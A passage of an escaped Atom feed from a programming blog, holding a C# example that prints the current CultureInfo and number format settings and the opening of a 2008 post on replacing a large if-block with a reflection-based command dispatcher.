class=&#34;ln&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;DisplayName: {0}&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;currentCulture&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;DisplayName&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;15&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;Name: {0}&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;currentCulture&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;LCID: {0}&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;currentCulture&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;LCID&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;17&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;19&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;NumberFormatInfo&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;20&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;\----------------&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;21&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;Decimal Seperator: {0}&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;currentCulture&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;NumberFormat&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;NumberDecimalSeparator&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;22&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Write&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;Digits: &amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;23&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;24&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;k&#34;&gt;foreach&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;s&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;currentCulture&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;NumberFormat&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;NativeDigits&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;25&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Write&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;s&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34; &amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;26&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;27&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;28&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;29&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;30&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;31&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Base output should look like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;CultureInfo&#xA;-----------&#xA;DisplayName: English (United States)&#xA;Name: en-US&#xA;LCID: 1033&#xA;&#xA;NumberFormatInfo&#xA;----------------&#xA;Decimal Seperator: .&#xA;Digits: 0 1 2 3 4 5 6 7 8 9 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;Instead of doing a college survey and asking a bunch of probing questions about the lives of twenty-somethings, there&#39;s an easier way to get information about your current culture. Just look at &lt;code&gt;CultureInfo.CurrentCulture&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here&#39;s a quick program that explains how to do that. This can be very useful in debugging and troubleshooting how your program behaves on machines that are setup for other languages or regions.&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System.Collections.Generic&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System.Text&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System.Globalization&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;namespace&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;ConsoleApplication1&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;Program&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Main&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;args&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;CultureInfo&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;currentCulture&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;CultureInfo&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;CurrentCulture&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;CultureInfo&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;13&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;\-----------&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;DisplayName: {0}&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;currentCulture&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;DisplayName&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;15&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;Name: {0}&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;currentCulture&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;LCID: {0}&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;currentCulture&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;LCID&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;17&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;19&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;NumberFormatInfo&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;20&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;\----------------&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;21&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;Decimal Seperator: {0}&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;currentCulture&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;NumberFormat&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;NumberDecimalSeparator&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;22&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Write&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;Digits: &amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;23&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;24&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;k&#34;&gt;foreach&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;s&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;currentCulture&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;NumberFormat&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;NativeDigits&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;25&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Write&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;s&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34; &amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;26&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;27&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;28&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;29&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;30&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;31&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Base output should look like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;CultureInfo&#xA;-----------&#xA;DisplayName: English (United States)&#xA;Name: en-US&#xA;LCID: 1033&#xA;&#xA;NumberFormatInfo&#xA;----------------&#xA;Decimal Seperator: .&#xA;Digits: 0 1 2 3 4 5 6 7 8 9 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;</content>
	</entry>
	<entry>
		<title>Refactoring a big if block into a simple command processor using attributes</title>
		<id>https://blog.thoward37.me/articles/refactoring-a-big-if-block-into-a-simple-command</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/refactoring-a-big-if-block-into-a-simple-command" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/refactoring-a-big-if-block-into-a-simple-command" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/refactoring-a-big-if-block-into-a-simple-command" type="text/html"></link>
		<published>2008-05-15T16:54:00+00:00</published>
		<updated>2008-05-15T16:54:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;Recently someone had a problem where they had some massive control block full of if statements looking at a string, dispatching one of a variety of functions. The &lt;code&gt;if&lt;/code&gt; block was massive. Hundreds of &lt;code&gt;if&lt;/code&gt; statements, hundreds of magic strings.&lt;/p&gt;&#xA;&lt;p&gt;Interestingly all the functions had the same signature... &lt;span class=&#34;more&#34;&gt;&lt;/span&gt; So I gave him this example of how to use attributes on the methods to specify the corresponding token, use Reflection to scan the assembly for all the functions with that attribute, then create a function table keyed by their token, to provide fast lookup. This example shows how to creat an object instance and then invoke the method via reflection, but this could be made much simpler if the methods were all static and the function protoype was part of an interface instead of just a unspoken convention.&lt;/p&gt;&#xA;&lt;p&gt;Here&#39;s the &amp;quot;Before&amp;quot; example from the original question...&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;tag&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;cmdLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;State&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;state&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;outData&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 